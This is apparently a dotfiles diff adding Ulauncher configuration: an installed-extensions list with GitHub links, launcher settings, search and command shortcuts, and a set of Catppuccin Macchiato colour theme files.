"url": "https://github.com/ulauncher/ulauncher-timer",
"updated_at": "2025-03-16T13:02:56.333635",
"last_commit": "2d3fe82fe1e38670e6eb8887cd2a4b4d1c2baa79",
"last_commit_time": "2023-03-25T08:07:41"
},
"com.github.hillaryychan.ulauncher-fzf": {
"id": "com.github.hillaryychan.ulauncher-fzf",
"url": "https://github.com/hillaryychan/ulauncher-fzf",
"updated_at": "2025-03-16T13:03:21.728964",
"last_commit": "e8137dae6448041fc53ae418263501b068857073",
"last_commit_time": "2023-05-16T12:35:35"
},
"com.github.beajeanm.ulauncher-windows-switcher": {
"id": "com.github.beajeanm.ulauncher-windows-switcher",
"url": "https://github.com/beajeanm/ulauncher-windows-switcher",
"updated_at": "2025-03-16T13:03:57.628011",
"last_commit": "e746afcd1ae971294f983dadb6ad2c90a730ec39",
"last_commit_time": "2022-08-04T22:59:46"
},
"com.github.nastuzzisamy.ulauncher-youtube-search": {
"id": "com.github.nastuzzisamy.ulauncher-youtube-search",
"url": "https://github.com/NastuzziSamy/ulauncher-youtube-search",
"updated_at": "2025-03-16T13:04:51.043356",
"last_commit": "fe855811358b2f15ec6ed69ca18e20639874fa28",
"last_commit_time": "2021-03-27T11:29:18"
},
"com.github.luispabon.ulauncher-virtualbox": {
"id": "com.github.luispabon.ulauncher-virtualbox",
"url": "https://github.com/luispabon/ulauncher-virtualbox",
"updated_at": "2025-03-16T13:06:10.014115",
"last_commit": "d8f495df3c7f41ee8493b207d17f06fc0372c84e",
"last_commit_time": "2020-09-23T01:29:15"
},
"com.github.ralcaidev.ulauncher-extension-list": {
"id": "com.github.ralcaidev.ulauncher-extension-list",
"url": "https://github.com/ralcaidev/ulauncher-extension-list",
"updated_at": "2025-03-16T13:07:24.585415",
"last_commit": "27d65fae4abc036e37a09792c8244287017dbc73",
"last_commit_time": "2022-11-10T16:06:26"
},
"com.github.brpaz.ulauncher-faker": {
"id": "com.github.brpaz.ulauncher-faker",
"url": "https://github.com/brpaz/ulauncher-faker",
"updated_at": "2025-03-16T13:08:41.037197",
"last_commit": "58832c94acc671a9f603ea7fbf5d4405110bb902",
"last_commit_time": "2021-12-12T15:46:10"
},
"com.github.ultiblog.ulauncher-password-generator": {
"id": "com.github.ultiblog.ulauncher-password-generator",
"url": "https://github.com/Ultiblog/ULauncher-Password-Generator",
"updated_at": "2025-03-16T13:56:55.395064",
"last_commit": "de08e6b3ce1c58e4f2b23321702ba40fa2110f73",
"last_commit_time": "2022-11-11T12:05:05"
},
"com.github.zachatrocity.ulauncher-ollama": {
"id": "com.github.zachatrocity.ulauncher-ollama",
"url": "https://github.com/zachatrocity/ulauncher-ollama",
"updated_at": "2025-05-02T01:42:52.911306",
"last_commit": "1cb33ac391dc5650c8d1970c30249c159687853f",
"last_commit_time": "2024-06-07T05:20:43"
},
"com.github.pymustafa.ulauncher-shortn": {
"id": "com.github.pymustafa.ulauncher-shortn",
"url": "https://github.com/PyMustafa/ulauncher-shortn",
"updated_at": "2025-05-02T01:43:35.640643",
"last_commit": "29caf53983cad40a4f28a6d0b743f6ec7fbc4d6b",
"last_commit_time": "2024-08-20T13:13:07"
},
"com.github.singhrobinkumar.ulauncher-brave-profiles": {
"id": "com.github.singhrobinkumar.ulauncher-brave-profiles",
"url": "https://github.com/SinghRobinKumar/ulauncher-brave-profiles",
"updated_at": "2025-05-02T01:47:33.174079",
"last_commit": "6156a248e086eadc58e5e7445b56b38498120a5a",
"last_commit_time": "2023-08-23T05:33:06"
},
"com.github.devkleber.ulauncher-open-link": {
"id": "com.github.devkleber.ulauncher-open-link",
"url": "https://github.com/DevKleber/ulauncher-open-link",
"updated_at": "2025-05-03T22:04:15.599598",
"last_commit": "de9b7e6144d974c06a7f218596a2db80b667fd5b",
"last_commit_time": "2023-12-29T17:33:50"
},
"com.github.ahaasler.ulauncher-tmux": {
"id": "com.github.ahaasler.ulauncher-tmux",
"url": "https://github.com/ahaasler/ulauncher-tmux",
"updated_at": "2025-05-03T22:08:36.345314",
"last_commit": "dd631a2e5a1d8bf2ab21095b43afe068443f02b9",
"last_commit_time": "2021-06-05T16:42:59"
},
"com.github.seqizz.ulauncher-tmux-attach": {
"id": "com.github.seqizz.ulauncher-tmux-attach",
"url": "https://github.com/seqizz/ulauncher-tmux-attach",
"updated_at": "2025-05-03T22:27:52.092854",
"last_commit": "b6a84559e128ceaa8255d4c08feead8604efecfe",
"last_commit_time": "2021-04-14T05:49:52"
},
"com.github.brpaz.ulauncher-raindrop": {
"id": "com.github.brpaz.ulauncher-raindrop",
"url": "https://github.com/brpaz/ulauncher-raindrop",
"updated_at": "2025-05-03T22:36:56.580319",
"last_commit": "b5bdbc9915930a1da320728696576462737cb812",
"last_commit_time": "2022-10-15T09:38:30"
},
"com.github.kalligator.ulauncher-gemini-direct": {
"id": "com.github.kalligator.ulauncher-gemini-direct",
"url": "https://github.com/kalligator/ulauncher-gemini-direct",
"updated_at": "2025-05-04T00:13:05.568104",
"last_commit": "b0d8986644e2f28bdf4f9fa492675118fecf322f",
"last_commit_time": "2025-04-28T18:20:32"
},
"com.github.seofernando25.ulauncher-gpt": {
"id": "com.github.seofernando25.ulauncher-gpt",
"url": "https://github.com/SeoFernando25/ulauncher-gpt",
"updated_at": "2025-05-04T00:20:50.025070",
"last_commit": "2d51ff40fcbd501e64034f3c7be1cd35abc47d6b",
"last_commit_time": "2023-04-14T22:57:18"
},
"com.github.tuanpham-dev.ulauncher-better-calculator": {
"id": "com.github.tuanpham-dev.ulauncher-better-calculator",
"url": "https://github.com/tuanpham-dev/ulauncher-better-calculator",
"updated_at": "2025-05-04T00:22:46.353818",
"last_commit": "48f0592a2a8ac9ec2589a06b562141e1a2d9b25f",
"last_commit_time": "2023-04-24T13:55:30"
},
"com.github.troublor.ulauncher-numconverter": {
"id": "com.github.troublor.ulauncher-numconverter",
"url": "https://github.com/Troublor/ulauncher-numconverter",
"updated_at": "2025-05-04T00:25:02.819859",
"last_commit": "98d5e01d82671eedc98c000053980ae7ceb4ea28",
"last_commit_time": "2021-09-29T13:19:39"
},
"com.github.tchar.ulauncher-albert-calculate-anything": {
"id": "com.github.tchar.ulauncher-albert-calculate-anything",
"url": "https://github.com/tchar/ulauncher-albert-calculate-anything",
"updated_at": "2025-05-04T01:31:51.665044",
"last_commit": "037965a44e6f6f496e7ad71ec1651b9edfcde32d",
"last_commit_time": "2024-05-29T21:57:26"
},
"com.github.frdrk.ulauncher-dead-simple-convert": {
"id": "com.github.frdrk.ulauncher-dead-simple-convert",
"url": "https://github.com/frdrk/ulauncher-dead-simple-convert",
"updated_at": "2025-05-04T01:10:44.910294",
"last_commit": "c0821e83b6c1d5a4984ef72c82e54eb21d0149ac",
"last_commit_time": "2023-10-03T11:40:03"
},
"com.github.sergius02.ulauncher-colorconverter": {
"id": "com.github.sergius02.ulauncher-colorconverter",
"url": "https://github.com/sergius02/ulauncher-colorconverter",
"updated_at": "2025-05-04T01:15:30.973722",
"last_commit": "2d5e2bc17e89f1f1dc561f73e68ea574e0be844a",
"last_commit_time": "2020-12-06T20:59:43"
},
"com.github.kleber-swf.ulauncher-toggle-dnd": {
"id": "com.github.kleber-swf.ulauncher-toggle-dnd",
"url": "https://github.com/kleber-swf/ulauncher-toggle-dnd",
"updated_at": "2025-05-04T01:16:29.564322",
"last_commit": "e2a14ba6eb7eb6771045e103a6f351585cdb8652",
"last_commit_time": "2022-02-10T13:22:17"
},
"com.github.nastuzzisamy.ulauncher-translate": {
"id": "com.github.nastuzzisamy.ulauncher-translate",
"url": "https://github.com/NastuzziSamy/ulauncher-translate",
"updated_at": "2025-05-04T01:18:38.337064",
"last_commit": "f16b6eed05923e604bacafefdc40b7b7290e21da",
"last_commit_time": "2021-03-27T11:43:48"
},
"com.github.behrensger.thesaurus_cc_ulauncher": {
"id": "com.github.behrensger.thesaurus_cc_ulauncher",
"url": "https://github.com/behrensger/thesaurus_cc_ulauncher",
"updated_at": "2025-05-04T01:19:43.069288",
"last_commit": "375575ce2790fbe40cdfae8fa7b471d06ead683a",
"last_commit_time": "2020-12-22T20:33:18"
},
"com.github.randomcharacter.ulauncher-meet": {
"id": "com.github.randomcharacter.ulauncher-meet",
"url": "https://github.com/randomCharacter/ulauncher-meet",
"updated_at": "2025-05-04T01:29:35.336482",
"last_commit": "f2fe055b6e21e15ea4c65918a6f499d61d4cf4b0",
"last_commit_time": "2021-02-26T22:04:21"
},
"com.github.fajtak.ulauncher-weather": {
"id": "com.github.fajtak.ulauncher-weather",
"url": "https://github.com/fajtak/ulauncher-weather",
"updated_at": "2025-05-04T01:30:14.933475",
"last_commit": "996da704e505776753f6340755d20f03075c2be8",
"last_commit_time": "2022-04-05T18:23:30"
},
"com.github.dhelmr.ulauncher-tldr": {
"id": "com.github.dhelmr.ulauncher-tldr",
"url": "https://github.com/dhelmr/ulauncher-tldr",
"updated_at": "2025-05-04T01:32:34.092229",
"last_commit": "2e5904451bf89dfa155280dfb6fa3d45ed4cab4c",
"last_commit_time": "2023-07-29T11:06:30"
},
"com.github.carlosmape.ulauncher-calendar": {
"id": "com.github.carlosmape.ulauncher-calendar",
"url": "https://github.com/Carlosmape/ulauncher-calendar",
"updated_at": "2025-05-04T01:35:56.785814",
"last_commit": "36e6d2f9b238a7723525522bd373a22626cf3be5",
"last_commit_time": "2022-10-31T15:47:41"
},
"com.github.lighttigerxiv.ulauncher-terminal-runner-extension": {
"id": "com.github.lighttigerxiv.ulauncher-terminal-runner-extension",
"url": "https://github.com/lighttigerXIV/ulauncher-terminal-runner-extension/",
"updated_at": "2025-05-04T01:36:37.619709",
"last_commit": "d6bc2157e5c0ef2f812e3051ddde334c7b485c2e",
"last_commit_time": "2023-05-02T22:50:12"
},
"com.github.ulauncher.ulauncher-hash": {
"id": "com.github.ulauncher.ulauncher-hash",
"url": "https://github.com/Ulauncher/ulauncher-hash",
"updated_at": "2025-05-04T01:40:49.697043",
"last_commit": "237dbb3610ff04df993c3223b12df42cb7df221f",
"last_commit_time": "2022-09-04T14:29:55"
},
"com.github.rayvega96.ulauncher-amazon-search": {
"id": "com.github.rayvega96.ulauncher-amazon-search",
"url": "https://github.com/rayvega96/ulauncher-amazon-search",
"updated_at": "2025-05-04T01:41:33.787276",
"last_commit": "045551d899cf42bc99c85670bdf8e299e128275b",
"last_commit_time": "2022-12-03T17:14:47"
},
"com.github.pegoku.ulauncher-brave": {
"id": "com.github.pegoku.ulauncher-brave",
"url": "https://github.com/Pegoku/ulauncher-brave",
"updated_at": "2025-05-04T01:42:25.744568",
"last_commit": "3166aad57ff0252271c0bfe72a0a2d37f37e3b0d",
"last_commit_time": "2022-11-05T15:40:52"
},
"com.github.pegoku.ulauncher-searx": {
"id": "com.github.pegoku.ulauncher-searx",
"url": "https://github.com/Pegoku/ulauncher-searx",
"updated_at": "2025-05-04T01:42:41.604940",
"last_commit": "9047d246736a7a4cdf6c843cb26c987ccce36aae",
"last_commit_time": "2023-03-18T15:53:26"
}
}

View file

@ -0,0 +1,12 @@
{
"blacklisted-desktop-dirs": "/usr/share/locale:/usr/share/app-install:/usr/share/kservices5:/usr/share/fk5:/usr/share/kservicetypes5:/usr/share/applications/screensavers:/usr/share/kde4:/usr/share/mimelnk",
"clear-previous-query": true,
"disable-desktop-filters": false,
"grab-mouse-pointer": false,
"hotkey-show-app": "<Primary>space",
"render-on-screen": "mouse-pointer-monitor",
"show-indicator-icon": true,
"show-recent-apps": "0",
"terminal-command": "tabby",
"theme-name": "Catppuccin-Mocha-Lavender"
}

View file

@ -0,0 +1,92 @@
{
"3b6e658e-48ed-424e-9a1d-0fff6b9b9856": {
"id": "3b6e658e-48ed-424e-9a1d-0fff6b9b9856",
"name": "Google Search",
"keyword": "g",
"cmd": "https://google.com/search?q=%s",
"icon": "/usr/share/ulauncher/media/google-search-icon.png",
"is_default_search": true,
"run_without_argument": false,
"added": 1742151029.2172832
},
"6ef166ce-911c-447e-9025-8316e681c1e6": {
"id": "6ef166ce-911c-447e-9025-8316e681c1e6",
"name": "Stack Overflow",
"keyword": "so",
"cmd": "https://stackoverflow.com/search?q=%s",
"icon": "/usr/share/ulauncher/media/stackoverflow-icon.svg",
"is_default_search": true,
"run_without_argument": false,
"added": 1742151029.2172987
},
"8f7c013e-9ad4-412a-b43a-879ec9c4e6f1": {
"id": "8f7c013e-9ad4-412a-b43a-879ec9c4e6f1",
"name": "Perplexity",
"keyword": "p",
"cmd": "https://www.perplexity.ai/search?q=%s",
"icon": "https://www.perplexity.ai/favicon.ico",
"is_default_search": true,
"run_without_argument": false,
"added": 1742151030.0001
},
"a2dcd73c-0d5f-40cb-bf91-bcde88d26f01": {
"id": "a2dcd73c-0d5f-40cb-bf91-bcde88d26f01",
"name": "YouTube Search",
"keyword": "ytube",
"cmd": "https://www.youtube.com/results?search_query=%s",
"icon": "/usr/share/icons/hicolor/256x256/apps/youtube.png",
"is_default_search": true,
"run_without_argument": false,
"added": 1742151030.0002
},
"9cd54c70-3402-4961-b957-cac85f5478cf": {
"id": "9cd54c70-3402-4961-b957-cac85f5478cf",
"name": "GitHub Search",
"keyword": "gh",
"cmd": "https://github.com/search?q=%s",
"icon": "/usr/share/icons/hicolor/256x256/apps/github.png",
"is_default_search": true,
"run_without_argument": false,
"added": 1742151030.0003
},
"3de10f2b-ecb4-4b36-ae89-9dabc070c221": {
"id": "3de10f2b-ecb4-4b36-ae89-9dabc070c221",
"name": "Amazon Search",
"keyword": "a",
"cmd": "https://www.amazon.com/s?k=%s",
"icon": "/usr/share/icons/hicolor/256x256/apps/amazon.png",
"is_default_search": true,
"run_without_argument": false,
"added": 1742151030.0004
},
"6a5c6c4d-0aa7-4bc8-9e09-177987b3b0a1": {
"id": "6a5c6c4d-0aa7-4bc8-9e09-177987b3b0a1",
"name": "Python Scripts FZF",
"keyword": "py",
"cmd": "/path/to/run_py.sh",
"icon": "/usr/share/icons/hicolor/256x256/apps/python.png",
"is_default_search": false,
"run_without_argument": true,
"added": 1742151030.0005
},
"d3198654-0c45-47cf-a65a-2b79dff291e3": {
"id": "d3198654-0c45-47cf-a65a-2b79dff291e3",
"name": "Taskwarrior",
"keyword": "tw",
"cmd": "gnome-terminal -- bash -c 'task; exec bash'",
"icon": "/usr/share/icons/hicolor/256x256/apps/org.gnome.Terminal.png",
"is_default_search": false,
"run_without_argument": true,
"added": 1742151030.0006
},
"a105b69e-d65f-45d8-a00c-57e0c24b5565": {
"id": "a105b69e-d65f-45d8-a00c-57e0c24b5565",
"name": "cht.sh Search",
"keyword": "cht",
"cmd": "https://cht.sh/%s",
"icon": "/usr/share/icons/hicolor/256x256/apps/terminal.png",
"is_default_search": true,
"run_without_argument": false,
"added": 1742151030.0007
}
}

View file

@ -0,0 +1,12 @@
{
"manifest_version": "1",
"name": "Catppuccin-Macchiato-Blue",
"display_name": "Catppuccin Macchiato Blue",
"extend_theme": "light",
"css_file": "theme.css",
"css_file_gtk_3.20+": "theme-gtk-3.20.css",
"matched_text_hl_colors": {
"when_selected": "#8aadf4",
"when_not_selected": "#8aadf4"
}
}

View file

@ -0,0 +1,8 @@
@import url("theme.css");
.input {
caret-color: #8aadf4;
}
/* workaround for a bug in GTK+ < 3.20 */
.selected.item-box {
border: none;
}

View file

@ -0,0 +1,53 @@
/*Catpuccin colors*/
@define-color backgroundColor #24273a;
@define-color accentColor #8aadf4;
@define-color textColor #cad3f5;
@define-color subTextColor #b8c0e0;
.app {
background-color: @backgroundColor;
border-color: @accentColor;
border-radius: 14px;
}
.input {
color: @accentColor;
}
.input *:selected,
.input *:focus,
*:selected:focus {
background-color: alpha (@accentColor, 0.4);
color: @textColor;
}
.item-text {
color: @textColor;
}
.item-name {
color: @textColor;
font-size: 1.2rem;
}
.selected.item-box {
background-color: alpha (@accentColor, 0.3);
border-radius: 14px;
}
.selected.item-box .item-text {
color: @textColor;
}
.selected.item-box .item-name {
color: @textColor;
font-size: 1.2rem;
}
.item-shortcut {
color: @accentColor;
}
.selected.item-box .item-shortcut {
color: @accentColor;
font-size: 1.1rem;
}
.selected.item-box{
color: @accentColor;
}
.prefs-btn {
opacity: 1;
}
.prefs-btn:hover {
background-color: alpha (@accentColor, 1.0);
}

View file

@ -0,0 +1,12 @@
{
"manifest_version": "1",
"name": "Catppuccin-Macchiato-Flamingo",
"display_name": "Catppuccin Macchiato Flamingo",
"extend_theme": "light",
"css_file": "theme.css",
"css_file_gtk_3.20+": "theme-gtk-3.20.css",
"matched_text_hl_colors": {
"when_selected": "#f0c6c6",
"when_not_selected": "#f0c6c6"
}
}

View file

@ -0,0 +1,8 @@
@import url("theme.css");
.input {
caret-color: #f0c6c6;
}
/* workaround for a bug in GTK+ < 3.20 */
.selected.item-box {
border: none;
}

View file

@ -0,0 +1,53 @@
/*Catpuccin colors*/
@define-color backgroundColor #24273a;
@define-color accentColor #f0c6c6;
@define-color textColor #cad3f5;
@define-color subTextColor #b8c0e0;
.app {
background-color: @backgroundColor;
border-color: @accentColor;
border-radius: 14px;
}
.input {
color: @accentColor;
}
.input *:selected,
.input *:focus,
*:selected:focus {
background-color: alpha (@accentColor, 0.4);
color: @textColor;
}
.item-text {
color: @textColor;
}
.item-name {
color: @textColor;
font-size: 1.2rem;
}
.selected.item-box {
background-color: alpha (@accentColor, 0.3);
border-radius: 14px;
}
.selected.item-box .item-text {
color: @textColor;
}
.selected.item-box .item-name {
color: @textColor;
font-size: 1.2rem;
}
.item-shortcut {
color: @accentColor;
}
.selected.item-box .item-shortcut {
color: @accentColor;
font-size: 1.1rem;
}
.selected.item-box{
color: @accentColor;
}
.prefs-btn {
opacity: 1;
}
.prefs-btn:hover {
background-color: alpha (@accentColor, 1.0);
}

View file

@ -0,0 +1,12 @@
{
"manifest_version": "1",
"name": "Catppuccin-Macchiato-Green",
"display_name": "Catppuccin Macchiato Green",
"extend_theme": "light",
"css_file": "theme.css",
"css_file_gtk_3.20+": "theme-gtk-3.20.css",
"matched_text_hl_colors": {
"when_selected": "#a6da95",
"when_not_selected": "#a6da95"
}
}

View file

@ -0,0 +1,8 @@
@import url("theme.css");
.input {
caret-color: #a6da95;
}
/* workaround for a bug in GTK+ < 3.20 */
.selected.item-box {
border: none;
}

View file

@ -0,0 +1,53 @@
/*Catpuccin colors*/
@define-color backgroundColor #24273a;
@define-color accentColor #a6da95;
@define-color textColor #cad3f5;
@define-color subTextColor #b8c0e0;
.app {
background-color: @backgroundColor;
border-color: @accentColor;
border-radius: 14px;
}
.input {
color: @accentColor;
}
.input *:selected,
.input *:focus,
*:selected:focus {
background-color: alpha (@accentColor, 0.4);
color: @textColor;
}
.item-text {
color: @textColor;
}
.item-name {
color: @textColor;
font-size: 1.2rem;
}
.selected.item-box {
background-color: alpha (@accentColor, 0.3);
border-radius: 14px;
}
.selected.item-box .item-text {
color: @textColor;
}
.selected.item-box .item-name {
color: @textColor;
font-size: 1.2rem;
}
.item-shortcut {
color: @accentColor;
}
.selected.item-box .item-shortcut {
color: @accentColor;
font-size: 1.1rem;
}
.selected.item-box{
color: @accentColor;
}
.prefs-btn {
opacity: 1;
}
.prefs-btn:hover {
background-color: alpha (@accentColor, 1.0);
}

View file

@ -0,0 +1,12 @@
{
"manifest_version": "1",
"name": "Catppuccin-Macchiato-Lavender",
"display_name": "Catppuccin Macchiato Lavender",
"extend_theme": "light",
"css_file": "theme.css",
"css_file_gtk_3.20+": "theme-gtk-3.20.css",
"matched_text_hl_colors": {
"when_selected": "#b7bdf8",
"when_not_selected": "#b7bdf8"
}
}

View file

@ -0,0 +1,8 @@
@import url("theme.css");
.input {
caret-color: #b7bdf8;
}
/* workaround for a bug in GTK+ < 3.20 */
.selected.item-box {
border: none;
}

View file

@ -0,0 +1,53 @@
/*Catpuccin colors*/
@define-color backgroundColor #24273a;
@define-color accentColor #b7bdf8;
@define-color textColor #cad3f5;
@define-color subTextColor #b8c0e0;
.app {
background-color: @backgroundColor;
border-color: @accentColor;
border-radius: 14px;
}
.input {
color: @accentColor;
}
.input *:selected,
.input *:focus,
*:selected:focus {
background-color: alpha (@accentColor, 0.4);
color: @textColor;
}
.item-text {
color: @textColor;
}
.item-name {
color: @textColor;
font-size: 1.2rem;
}
.selected.item-box {
background-color: alpha (@accentColor, 0.3);
border-radius: 14px;
}
.selected.item-box .item-text {
color: @textColor;
}
.selected.item-box .item-name {
color: @textColor;
font-size: 1.2rem;
}
.item-shortcut {
color: @accentColor;
}
.selected.item-box .item-shortcut {
color: @accentColor;
font-size: 1.1rem;
}
.selected.item-box{
color: @accentColor;
}
.prefs-btn {
opacity: 1;
}
.prefs-btn:hover {
background-color: alpha (@accentColor, 1.0);
}

View file

@ -0,0 +1,12 @@
{
"manifest_version": "1",
"name": "Catppuccin-Macchiato-Maroon",
"display_name": "Catppuccin Macchiato Maroon",
"extend_theme": "light",
"css_file": "theme.css",
"css_file_gtk_3.20+": "theme-gtk-3.20.css",
"matched_text_hl_colors": {
"when_selected": "#ee99a0",
"when_not_selected": "#ee99a0"
}
}

View file

@ -0,0 +1,8 @@
@import url("theme.css");
.input {
caret-color: #ee99a0;
}
/* workaround for a bug in GTK+ < 3.20 */
.selected.item-box {
border: none;
}

View file

@ -0,0 +1,53 @@
/*Catpuccin colors*/
@define-color backgroundColor #24273a;
@define-color accentColor #ee99a0;
@define-color textColor #cad3f5;
@define-color subTextColor #b8c0e0;
.app {
background-color: @backgroundColor;
border-color: @accentColor;
border-radius: 14px;
}
.input {
color: @accentColor;
}
.input *:selected,
.input *:focus,
*:selected:focus {
background-color: alpha (@accentColor, 0.4);
color: @textColor;
}
.item-text {
color: @textColor;
}
.item-name {
color: @textColor;
font-size: 1.2rem;
}
.selected.item-box {
background-color: alpha (@accentColor, 0.3);
border-radius: 14px;
}
.selected.item-box .item-text {
color: @textColor;
}
.selected.item-box .item-name {
color: @textColor;
font-size: 1.2rem;
}
.item-shortcut {
color: @accentColor;
}
.selected.item-box .item-shortcut {
color: @accentColor;
font-size: 1.1rem;
}
.selected.item-box{
color: @accentColor;
}
.prefs-btn {
opacity: 1;
}
.prefs-btn:hover {
background-color: alpha (@accentColor, 1.0);
}

View file

@ -0,0 +1,12 @@
{
"manifest_version": "1",
"name": "Catppuccin-Macchiato-Mauve",
"display_name": "Catppuccin Macchiato Mauve",
"extend_theme": "light",
"css_file": "theme.css",
"css_file_gtk_3.20+": "theme-gtk-3.20.css",
"matched_text_hl_colors": {
"when_selected": "#c6a0f6",
"when_not_selected": "#c6a0f6"
}
}

View file

@ -0,0 +1,8 @@
@import url("theme.css");
.input {
caret-color: #c6a0f6;
}
/* workaround for a bug in GTK+ < 3.20 */
.selected.item-box {
border: none;
}

View file

@ -0,0 +1,53 @@
/*Catpuccin colors*/
@define-color backgroundColor #24273a;
@define-color accentColor #c6a0f6;
@define-color textColor #cad3f5;
@define-color subTextColor #b8c0e0;
.app {
background-color: @backgroundColor;
border-color: @accentColor;
border-radius: 14px;
}
.input {
color: @accentColor;
}
.input *:selected,
.input *:focus,
*:selected:focus {
background-color: alpha (@accentColor, 0.4);
color: @textColor;
}
.item-text {
color: @textColor;
}
.item-name {
color: @textColor;
font-size: 1.2rem;
}
.selected.item-box {
background-color: alpha (@accentColor, 0.3);
border-radius: 14px;
}
.selected.item-box .item-text {
color: @textColor;
}
.selected.item-box .item-name {
color: @textColor;
font-size: 1.2rem;
}
.item-shortcut {
color: @accentColor;
}
.selected.item-box .item-shortcut {
color: @accentColor;
font-size: 1.1rem;
}
.selected.item-box{
color: @accentColor;
}
.prefs-btn {
opacity: 1;
}
.prefs-btn:hover {
background-color: alpha (@accentColor, 1.0);
}

View file

@ -0,0 +1,12 @@
{
"manifest_version": "1",
"name": "Catppuccin-Macchiato-Peach",
"display_name": "Catppuccin Macchiato Peach",
"extend_theme": "light",
"css_file": "theme.css",
"css_file_gtk_3.20+": "theme-gtk-3.20.css",
"matched_text_hl_colors": {
"when_selected": "#f5a97f",
"when_not_selected": "#f5a97f"
}
}

View file

@ -0,0 +1,8 @@
@import url("theme.css");
.input {
caret-color: #f5a97f;
}
/* workaround for a bug in GTK+ < 3.20 */
.selected.item-box {
border: none;
}

View file

@ -0,0 +1,53 @@
/*Catpuccin colors*/
@define-color backgroundColor #24273a;
@define-color accentColor #f5a97f;
@define-color textColor #cad3f5;
@define-color subTextColor #b8c0e0;
.app {
background-color: @backgroundColor;
border-color: @accentColor;
border-radius: 14px;
}
.input {
color: @accentColor;
}
.input *:selected,
.input *:focus,
*:selected:focus {
background-color: alpha (@accentColor, 0.4);
color: @textColor;
}
.item-text {
color: @textColor;
}
.item-name {
color: @textColor;
font-size: 1.2rem;
}
.selected.item-box {
background-color: alpha (@accentColor, 0.3);
border-radius: 14px;
}
.selected.item-box .item-text {
color: @textColor;
}
.selected.item-box .item-name {
color: @textColor;
font-size: 1.2rem;
}
.item-shortcut {
color: @accentColor;
}
.selected.item-box .item-shortcut {
color: @accentColor;
font-size: 1.1rem;
}
.selected.item-box{
color: @accentColor;
}
.prefs-btn {
opacity: 1;
}
.prefs-btn:hover {
background-color: alpha (@accentColor, 1.0);
}

View file

@ -0,0 +1,10 @@
@import url("/usr/share/ulauncher/themes/light/theme-gtk-3.20.css");
@import url("theme.css");
.input {
caret-color: #f5bde6;
}
/* workaround for a bug in GTK+ < 3.20 */
.selected.item-box {
border: none;
}

View file

@ -0,0 +1,12 @@
{
"manifest_version": "1",
"name": "Catppuccin-Macchiato-Pink",
"display_name": "Catppuccin Macchiato Pink",
"extend_theme": "light",
"css_file": "theme.css",
"css_file_gtk_3.20+": "theme-gtk-3.20.css",
"matched_text_hl_colors": {
"when_selected": "#f5bde6",
"when_not_selected": "#f5bde6"
}
}

View file

@ -0,0 +1,8 @@
@import url("theme.css");
.input {
caret-color: #f5bde6;
}
/* workaround for a bug in GTK+ < 3.20 */
.selected.item-box {
border: none;
}

View file

@ -0,0 +1,53 @@
/*Catpuccin colors*/
@define-color backgroundColor #24273a;
@define-color accentColor #f5bde6;
@define-color textColor #cad3f5;
@define-color subTextColor #b8c0e0;
.app {
background-color: @backgroundColor;
border-color: @accentColor;
border-radius: 14px;
}
.input {
color: @accentColor;
}
.input *:selected,
.input *:focus,
*:selected:focus {
background-color: alpha (@accentColor, 0.4);
color: @textColor;
}
.item-text {
color: @textColor;
}
.item-name {
color: @textColor;
font-size: 1.2rem;
}
.selected.item-box {
background-color: alpha (@accentColor, 0.3);
border-radius: 14px;
}
.selected.item-box .item-text {
color: @textColor;
}
.selected.item-box .item-name {
color: @textColor;
font-size: 1.2rem;
}
.item-shortcut {
color: @accentColor;
}
.selected.item-box .item-shortcut {
color: @accentColor;
font-size: 1.1rem;
}
.selected.item-box{
color: @accentColor;
}
.prefs-btn {
opacity: 1;
}
.prefs-btn:hover {
background-color: alpha (@accentColor, 1.0);
}

View file

@ -0,0 +1,12 @@
{
"manifest_version": "1",
"name": "Catppuccin-Macchiato-Red",
"display_name": "Catppuccin Macchiato Red",
"extend_theme": "light",
"css_file": "theme.css",
"css_file_gtk_3.20+": "theme-gtk-3.20.css",
"matched_text_hl_colors": {
"when_selected": "#ed8796",
"when_not_selected": "#ed8796"
}
}

View file

@ -0,0 +1,8 @@
@import url("theme.css");
.input {
caret-color: #ed8796;
}
/* workaround for a bug in GTK+ < 3.20 */
.selected.item-box {
border: none;
}

View file

@ -0,0 +1,53 @@
/*Catpuccin colors*/
@define-color backgroundColor #24273a;
@define-color accentColor #ed8796;
@define-color textColor #cad3f5;
@define-color subTextColor #b8c0e0;
.app {
background-color: @backgroundColor;
border-color: @accentColor;
border-radius: 14px;
}
.input {
color: @accentColor;
}
.input *:selected,
.input *:focus,
*:selected:focus {
background-color: alpha (@accentColor, 0.4);
color: @textColor;
}
.item-text {
color: @textColor;
}
.item-name {
color: @textColor;
font-size: 1.2rem;
}
.selected.item-box {
background-color: alpha (@accentColor, 0.3);
border-radius: 14px;
}
.selected.item-box .item-text {
color: @textColor;
}
.selected.item-box .item-name {
color: @textColor;
font-size: 1.2rem;
}
.item-shortcut {
color: @accentColor;
}
.selected.item-box .item-shortcut {
color: @accentColor;
font-size: 1.1rem;
}
.selected.item-box{
color: @accentColor;
}
.prefs-btn {
opacity: 1;
}
.prefs-btn:hover {
background-color: alpha (@accentColor, 1.0);
}

View file

@ -0,0 +1,12 @@
{
"manifest_version": "1",
"name": "Catppuccin-Macchiato-Rosewater",
"display_name": "Catppuccin Macchiato Rosewater",
"extend_theme": "light",
"css_file": "theme.css",
"css_file_gtk_3.20+": "theme-gtk-3.20.css",
"matched_text_hl_colors": {
"when_selected": "#f4dbd6",
"when_not_selected": "#f4dbd6"
}
}

View file

@ -0,0 +1,8 @@
@import url("theme.css");
.input {
caret-color: #f4dbd6;
}
/* workaround for a bug in GTK+ < 3.20 */
.selected.item-box {
border: none;
}

View file

@ -0,0 +1,53 @@
/*Catpuccin colors*/
@define-color backgroundColor #24273a;
@define-color accentColor #f4dbd6;
@define-color textColor #cad3f5;
@define-color subTextColor #b8c0e0;
.app {
background-color: @backgroundColor;
border-color: @accentColor;
border-radius: 14px;
}
.input {
color: @accentColor;
}
.input *:selected,
.input *:focus,
*:selected:focus {
background-color: alpha (@accentColor, 0.4);
color: @textColor;
}
.item-text {
color: @textColor;
}
.item-name {
color: @textColor;
font-size: 1.2rem;
}
.selected.item-box {
background-color: alpha (@accentColor, 0.3);
border-radius: 14px;
}
.selected.item-box .item-text {
color: @textColor;
}
.selected.item-box .item-name {
color: @textColor;
font-size: 1.2rem;
}
.item-shortcut {
color: @accentColor;
}
.selected.item-box .item-shortcut {
color: @accentColor;
font-size: 1.1rem;
}
.selected.item-box{
color: @accentColor;
}
.prefs-btn {
opacity: 1;
}
.prefs-btn:hover {
background-color: alpha (@accentColor, 1.0);
}

View file

